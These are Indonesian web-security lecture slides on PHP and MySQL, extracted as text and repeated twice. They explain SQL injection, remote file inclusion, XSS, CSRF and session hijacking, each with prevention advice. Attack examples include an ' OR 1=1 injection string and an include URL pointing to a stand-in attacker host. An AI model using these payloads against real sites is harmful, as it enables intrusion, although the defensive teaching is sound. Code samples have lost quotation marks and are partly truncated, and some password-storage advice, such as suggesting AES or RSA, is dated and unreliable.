Web Security Studi Kasus PHP and MySQL (1)
Web Security
Studi Kasus: PHP & MySQL
ARGA DINATA
29 September 2014
Pendahuluan
• Web Security
– Goals: menjaga data yang bersifat privat, tetap
menjadi privasi
Issues
• Secrets
– Menjaga kerahasiaan informasi
• Limited Resources
– CPU, memori, disk space, & bandwidth itu
terbatas. Jaga resources ini agar tidak dieksploitasi
• Good Netizenship
– Etika profesi, programmer & sysadmin tidak boleh
melakukan hal yg merugikan sistem
Referensi
• Pro PHP Security 2nd Edition: Chris Snyder cs.
• https://www.owasp.org
– Open Web Application Security Project
Resiko dan Celah Keamanan
•
•
•
•
•
•
•
Injection
Remote Execution
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Authentication & Session
Third Party Components
PHP Configuration
Nothing is
% “ecure
- Anonymous -
SQL Injection
• Penambahan queri SQL oleh attacker
$username = $_POST[ username ];
$query = SELECT * FROM pengguna WHERE username
= {$username} ;
/*
attacker memasukkan arga OR 1 = 1 ,
sehingga query menjadi:
SELECT * FROM pengguna WHERE username = arga
OR 1 = 1
*/
SQL Injection
• Tidak hanya $_POST, tapi bisa juga melalui
$_GET
• Yang lebih berbahaya jika injeksi dilakukan pada
query UPDATE dan DELETE
SQL Injection Word List
• https://wfuzz.googlecode.com/svn/trunk/
wordlist/Injections/SQL.txt
Pencegahan SQL Injection
• Escape karakter khusus menggunakan fungsi
mysql_real_escape_string()
• Agar semakin aman:
– Gunakan prepared statements &
parameterized queries (PDO / MySQLi)
– Cek tipe input dari user dengan fungsi
gettype()
– Pastikan jumlah row pada datasource sudah
sesuai
Prepared Statements &
Parameterized Queries
$mysqli = new mysqli($hostname, $username,
$password, $database);
$nama = $_POST[ nama ];
$stmt = $mysqli->prepare( SELECT * FROM
pengguna WHERE nama = ? );
$stmt->bind_param( s , $nama);
$stmt->execute();
Tools untuk Pengujian SQL Injection
•
•
•
•
•
SQL Power Injector
Pangolin
Web Cruiser
SQL Map
SQL Inject Me (Firefox Plugin)
Code Injection
• Memasukkan script dari host lain melalui
include()
• Misalkan ada URL
http://mysite.com/index.php?content=con
tact.php
• Dimana index.php memiliki instruksi
include($_GET[ content ])
• Attacker memasukkan URL seperti ini:
http://mysite.com/index.php?content=htt
p://attackersite.com/injection.php
Code Injection
• Dengan kasus tsb., attacker bisa memperoleh
informasi mengenai spesifikasi server dan PHP
dari host menggunakan fungsi phpinfo()
Pencegahan Code Injection
• Non-aktifkan parameter allow_url_include
pada php.ini
• Cek halaman sehingga yang dieksekusi hanya
halaman yang valid saja
Remote Execution
• Mencoba melakukan eksekusi script secara
langsung melalui fungsi-fungsi berikut:
– eval()
– exec()
– passthru()
– proc_open()
– shell_exec()
– system()
Remote Execution dari Upload File
• Melalui upload file, attacker dapat
mengunggah script PHP atau file berbahaya
yang lainnya
Pencegahan Remote Execution
• Minimalisasi penggunaan fungsi-fungsi untuk
mengeksekusi shell
• Cek ekstensi dari file-file yang di-upload
• Simpan upload file di luar document root
• Matikan fungsi eval() dan phpinfo()
Cross-Site Scripting (XSS)
• Memasukkan client-side script dari website
lain ke dalam website kita
• Tag HTML yang bisa diinjeksikan:
–
–
–
–
–
Cross-Site Scripting (XSS)
• Apa yang dilakukan oleh script injeksi tsb?
– Mencuri cookies
– Manipulasi DOM
– Redirect
– dll...
• Darimana injeksi dilakukan?
– Input user yang bersifat publik, dan script bekerja
saat script ditampilkan (contoh: guestbook)
html { height: 100% }
body { height: 100% }
Situs dalam perbaikan
Klik di sini
untuk melanjutkan
Pencegahan XSS
• Encode HTML Entities menggunakan fungsi
htmlentities()
• Jika input user mengandung link, buat blacklist
URL yang berbahaya
Tools untuk Testing XSS
• Web Cruiser
• Zed Attack Proxy (ZAP)
• XSS Me (Firefox Plugin)
Cross-Site Request Forgery (CSRF)
• Akses website dari host lain, tujuannya
melakukan aksi pada website secara otomatis
(robot)
Pencegahan CSRF
• Menggunakan CSRF Token (POST maupun
GET)
• Cek HTTP Referrer
• Challenge-Response:
– CAPTCHA
– Re-Authentication
– One-Time Token
User Authentication
• Buat otentikasi user agar halaman hanya
dapat diakses oleh pengguna yang berhak
• Untuk menghindari pencurian data &
mengurangi pengrusakan website
Perusak Website
• SPAMMER
– Pengguna yang melakukan posting konten yang
bersifat promosi
• SCAMMER
– Pengguna yang melakukan posting hal-hal yang
melanggar hukum: pornografi, SARA, dll...
• TROLL
– Pengguna yang melakukan bullying pada
pengguna lain
Verifikasi Identitas Pengguna
• Simpan identitas pengguna agar:
– Mengurangi pengguna yang merusak
– Menghindari robot
– Jika ada pengrusakan, pengguna dapat dilacak
• Verifikasi dapat dilakukan melalui:
– Email
– SMS
– Credit Card
Password
• Simpan password dalam bentuk yang sudah
di-hash atau di-enkripsi
• Perhatikan panjang dan kompleksitas
password
• Sediakan fitur untuk mengubah dan reset
password
Hash / Enkripsi Password
• Gunakan algoritma kriptografi yang kuat,
seperti AES, RSA, atau SHA-256. MD5 dan
SHA1 saat ini sudah termasuk yg lemah
• Gunakan algoritma yg sudah umum digunakan
• Berikan kunci tambahan (salted)
• Ganti kunci tambahan tersebut secara
periodik
• Multiple key, salah satu independen
Contoh Penyimpanan Password
$key = pwd_key_
* ;
$salted_pwd = $key.$password.$email;
$hash_pwd = hash( sha
, $salted_pwd);
Kriptografi
• Enkripsi, Hash, & Encode:
– Enkripsi: merahasikan pesan, dapat dikembalikan
ke pesan semula menggunakan dekripsi
– Hash: merahasikan pesan, tidak dapat
dikembalikan ke pesan semula
– Encode: mengubah pesan ke dalam bentuk lain
agar dapat dibaca oleh sistem tertentu. Encode
tidak digunakan untuk merahasiakan pesan
Symmetric vs Asymmetric Key
• Symmetric Key
– Pengirim dan penerima berbagi kunci rahasia yang
sama
– Contoh: 3DES, AES, Blowfish, RC4
• Asymmetric Key
– Enkripsi dan dekripsi memiliki kunci masingmasing
– Contoh: RSA
User Access Control
• Interface yang berbeda-beda
• User Group
• User Type
User Log
• Apache Access Log:
– Linux: /var/log/httpd/apache-access_log/
– Windows: /apache/logs/
• Simpan log pengguna:
– Session ID
– Date Time
– User ID
– Request URI
Session
• Properti dari session:
– Session Key / Session ID
– Session Name
– Session Length
– Session Entropy
– Session Content / Session Value
Session Hijacking
• Mencuri Session ID sehingga attacker bisa
masuk ke halaman yg sama dengan victim
• Pencurian bisa dilakukan dengan:
– Packet Sniffing
– XSS Attack
– Man-in-the-Middle Attack
– Main-in-the-Browser Attack
Packet Sniffing
Man-in-the-Middle Attack
Man-in-the-Browser
• Hampir sama dengan Man-in-the-Middle
Attack, tetapi interupsi dilakukan oleh Trojan
Horse yg menginfeksi web browser
Session Fixation
• Membuat victim menggunakan Session ID
yang telah diatur oleh attacker
• Caranya dengan mengirimkan link yang
melakukan assignment cookie di victim
Pencegahan Session Hijacking & Fixation
• Buat Session ID baru setiap pengguna login
• Ganti nama session (default: PHPSESSID)
• Simpan informasi user agent dan IP Address,
cocokkan ketika ada request halaman
Third Party Components
• Penggunaan komponen developer lain
memiliki resiko dalam keamanan, terutama
yang bersifat open source
• Hampir tidak mungkin kita tidak
menggunakan komponen pihak lain, jadi
solusinya adalah tetap update untuk
memperoleh versi terbarunya
PHP Configuration
•
•
•
•
•
•
register_global = Off
allow_url_fopen = Off
allow_url_include = Off
error_reporting = E_ALL
log_errors = On
display_errors = On (development), Off
(production)
• magic_quotes_gpc = Off
• post_max_size, upload_max_filesize,
memory_limit
Secure Socket Layer (SSL)
• Protokol yang menggunakan kriptografi dalam
pengiriman data, agar komunikasi lebih aman
• Sekarang Transport Layer Security
• Kriptografi menggunakan kunci asimetris
(asymmetric key)
• Public-Key Infrastructure x.509
Secure Socket Layer (SSL)
Studi Kasus: PHP & MySQL
ARGA DINATA
29 September 2014
Pendahuluan
• Web Security
– Goals: menjaga data yang bersifat privat, tetap
menjadi privasi
Issues
• Secrets
– Menjaga kerahasiaan informasi
• Limited Resources
– CPU, memori, disk space, & bandwidth itu
terbatas. Jaga resources ini agar tidak dieksploitasi
• Good Netizenship
– Etika profesi, programmer & sysadmin tidak boleh
melakukan hal yg merugikan sistem
Referensi
• Pro PHP Security 2nd Edition: Chris Snyder cs.
• https://www.owasp.org
– Open Web Application Security Project
Resiko dan Celah Keamanan
•
•
•
•
•
•
•
Injection
Remote Execution
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Authentication & Session
Third Party Components
PHP Configuration
Nothing is
% “ecure
- Anonymous -
SQL Injection
• Penambahan queri SQL oleh attacker
$username = $_POST[ username ];
$query = SELECT * FROM pengguna WHERE username
= {$username} ;
/*
attacker memasukkan arga OR 1 = 1 ,
sehingga query menjadi:
SELECT * FROM pengguna WHERE username = arga
OR 1 = 1
*/
SQL Injection
• Tidak hanya $_POST, tapi bisa juga melalui
$_GET
• Yang lebih berbahaya jika injeksi dilakukan pada
query UPDATE dan DELETE
SQL Injection Word List
• https://wfuzz.googlecode.com/svn/trunk/
wordlist/Injections/SQL.txt
Pencegahan SQL Injection
• Escape karakter khusus menggunakan fungsi
mysql_real_escape_string()
• Agar semakin aman:
– Gunakan prepared statements &
parameterized queries (PDO / MySQLi)
– Cek tipe input dari user dengan fungsi
gettype()
– Pastikan jumlah row pada datasource sudah
sesuai
Prepared Statements &
Parameterized Queries
$mysqli = new mysqli($hostname, $username,
$password, $database);
$nama = $_POST[ nama ];
$stmt = $mysqli->prepare( SELECT * FROM
pengguna WHERE nama = ? );
$stmt->bind_param( s , $nama);
$stmt->execute();
Tools untuk Pengujian SQL Injection
•
•
•
•
•
SQL Power Injector
Pangolin
Web Cruiser
SQL Map
SQL Inject Me (Firefox Plugin)
Code Injection
• Memasukkan script dari host lain melalui
include()
• Misalkan ada URL
http://mysite.com/index.php?content=con
tact.php
• Dimana index.php memiliki instruksi
include($_GET[ content ])
• Attacker memasukkan URL seperti ini:
http://mysite.com/index.php?content=htt
p://attackersite.com/injection.php
Code Injection
• Dengan kasus tsb., attacker bisa memperoleh
informasi mengenai spesifikasi server dan PHP
dari host menggunakan fungsi phpinfo()
Pencegahan Code Injection
• Non-aktifkan parameter allow_url_include
pada php.ini
• Cek halaman sehingga yang dieksekusi hanya
halaman yang valid saja
Remote Execution
• Mencoba melakukan eksekusi script secara
langsung melalui fungsi-fungsi berikut:
– eval()
– exec()
– passthru()
– proc_open()
– shell_exec()
– system()
Remote Execution dari Upload File
• Melalui upload file, attacker dapat
mengunggah script PHP atau file berbahaya
yang lainnya
Pencegahan Remote Execution
• Minimalisasi penggunaan fungsi-fungsi untuk
mengeksekusi shell
• Cek ekstensi dari file-file yang di-upload
• Simpan upload file di luar document root
• Matikan fungsi eval() dan phpinfo()
Cross-Site Scripting (XSS)
• Memasukkan client-side script dari website
lain ke dalam website kita
• Tag HTML yang bisa diinjeksikan:
–
–
–
–
–
Cross-Site Scripting (XSS)
• Apa yang dilakukan oleh script injeksi tsb?
– Mencuri cookies
– Manipulasi DOM
– Redirect
– dll...
• Darimana injeksi dilakukan?
– Input user yang bersifat publik, dan script bekerja
saat script ditampilkan (contoh: guestbook)
html { height: 100% }
body { height: 100% }
Situs dalam perbaikan
Klik di sini
untuk melanjutkan
Pencegahan XSS
• Encode HTML Entities menggunakan fungsi
htmlentities()
• Jika input user mengandung link, buat blacklist
URL yang berbahaya
Tools untuk Testing XSS
• Web Cruiser
• Zed Attack Proxy (ZAP)
• XSS Me (Firefox Plugin)
Cross-Site Request Forgery (CSRF)
• Akses website dari host lain, tujuannya
melakukan aksi pada website secara otomatis
(robot)
Pencegahan CSRF
• Menggunakan CSRF Token (POST maupun
GET)
• Cek HTTP Referrer
• Challenge-Response:
– CAPTCHA
– Re-Authentication
– One-Time Token
User Authentication
• Buat otentikasi user agar halaman hanya
dapat diakses oleh pengguna yang berhak
• Untuk menghindari pencurian data &
mengurangi pengrusakan website
Perusak Website
• SPAMMER
– Pengguna yang melakukan posting konten yang
bersifat promosi
• SCAMMER
– Pengguna yang melakukan posting hal-hal yang
melanggar hukum: pornografi, SARA, dll...
• TROLL
– Pengguna yang melakukan bullying pada
pengguna lain
Verifikasi Identitas Pengguna
• Simpan identitas pengguna agar:
– Mengurangi pengguna yang merusak
– Menghindari robot
– Jika ada pengrusakan, pengguna dapat dilacak
• Verifikasi dapat dilakukan melalui:
– SMS
– Credit Card
Password
• Simpan password dalam bentuk yang sudah
di-hash atau di-enkripsi
• Perhatikan panjang dan kompleksitas
password
• Sediakan fitur untuk mengubah dan reset
password
Hash / Enkripsi Password
• Gunakan algoritma kriptografi yang kuat,
seperti AES, RSA, atau SHA-256. MD5 dan
SHA1 saat ini sudah termasuk yg lemah
• Gunakan algoritma yg sudah umum digunakan
• Berikan kunci tambahan (salted)
• Ganti kunci tambahan tersebut secara
periodik
• Multiple key, salah satu independen
Contoh Penyimpanan Password
$key = pwd_key_
* ;
$salted_pwd = $key.$password.$email;
$hash_pwd = hash( sha
, $salted_pwd);
Kriptografi
• Enkripsi, Hash, & Encode:
– Enkripsi: merahasikan pesan, dapat dikembalikan
ke pesan semula menggunakan dekripsi
– Hash: merahasikan pesan, tidak dapat
dikembalikan ke pesan semula
– Encode: mengubah pesan ke dalam bentuk lain
agar dapat dibaca oleh sistem tertentu. Encode
tidak digunakan untuk merahasiakan pesan
Symmetric vs Asymmetric Key
• Symmetric Key
– Pengirim dan penerima berbagi kunci rahasia yang
sama
– Contoh: 3DES, AES, Blowfish, RC4
• Asymmetric Key
– Enkripsi dan dekripsi memiliki kunci masingmasing
– Contoh: RSA
User Access Control
• Interface yang berbeda-beda
• User Group
• User Type
User Log
• Apache Access Log:
– Linux: /var/log/httpd/apache-access_log/
– Windows: /apache/logs/
• Simpan log pengguna:
– Session ID
– Date Time
– User ID
– Request URI
Session
• Properti dari session:
– Session Key / Session ID
– Session Name
– Session Length
– Session Entropy
– Session Content / Session Value
Session Hijacking
• Mencuri Session ID sehingga attacker bisa
masuk ke halaman yg sama dengan victim
• Pencurian bisa dilakukan dengan:
– Packet Sniffing
– XSS Attack
– Man-in-the-Middle Attack
– Main-in-the-Browser Attack
Packet Sniffing
Man-in-the-Middle Attack
Man-in-the-Browser
• Hampir sama dengan Man-in-the-Middle
Attack, tetapi interupsi dilakukan oleh Trojan
Horse yg menginfeksi web browser
Session Fixation
• Membuat victim menggunakan Session ID
yang telah diatur oleh attacker
• Caranya dengan mengirimkan link yang
melakukan assignment cookie di victim
Pencegahan Session Hijacking & Fixation
• Buat Session ID baru setiap pengguna login
• Ganti nama session (default: PHPSESSID)
• Simpan informasi user agent dan IP Address,
cocokkan ketika ada request halaman
Third Party Components
• Penggunaan komponen developer lain
memiliki resiko dalam keamanan, terutama
yang bersifat open source
• Hampir tidak mungkin kita tidak
menggunakan komponen pihak lain, jadi
solusinya adalah tetap update untuk
memperoleh versi terbarunya
PHP Configuration
•
•
•
•
•
•
register_global = Off
allow_url_fopen = Off
allow_url_include = Off
error_reporting = E_ALL
log_errors = On
display_errors = On (development), Off
(production)
• magic_quotes_gpc = Off
• post_max_size, upload_max_filesize,
memory_limit
Secure Socket Layer (SSL)
• Protokol yang menggunakan kriptografi dalam
pengiriman data, agar komunikasi lebih aman
• Sekarang Transport Layer Security
• Kriptografi menggunakan kunci asimetris
(asymmetric key)
• Public-Key Infrastructure x.509
Secure Socket Layer (SSL)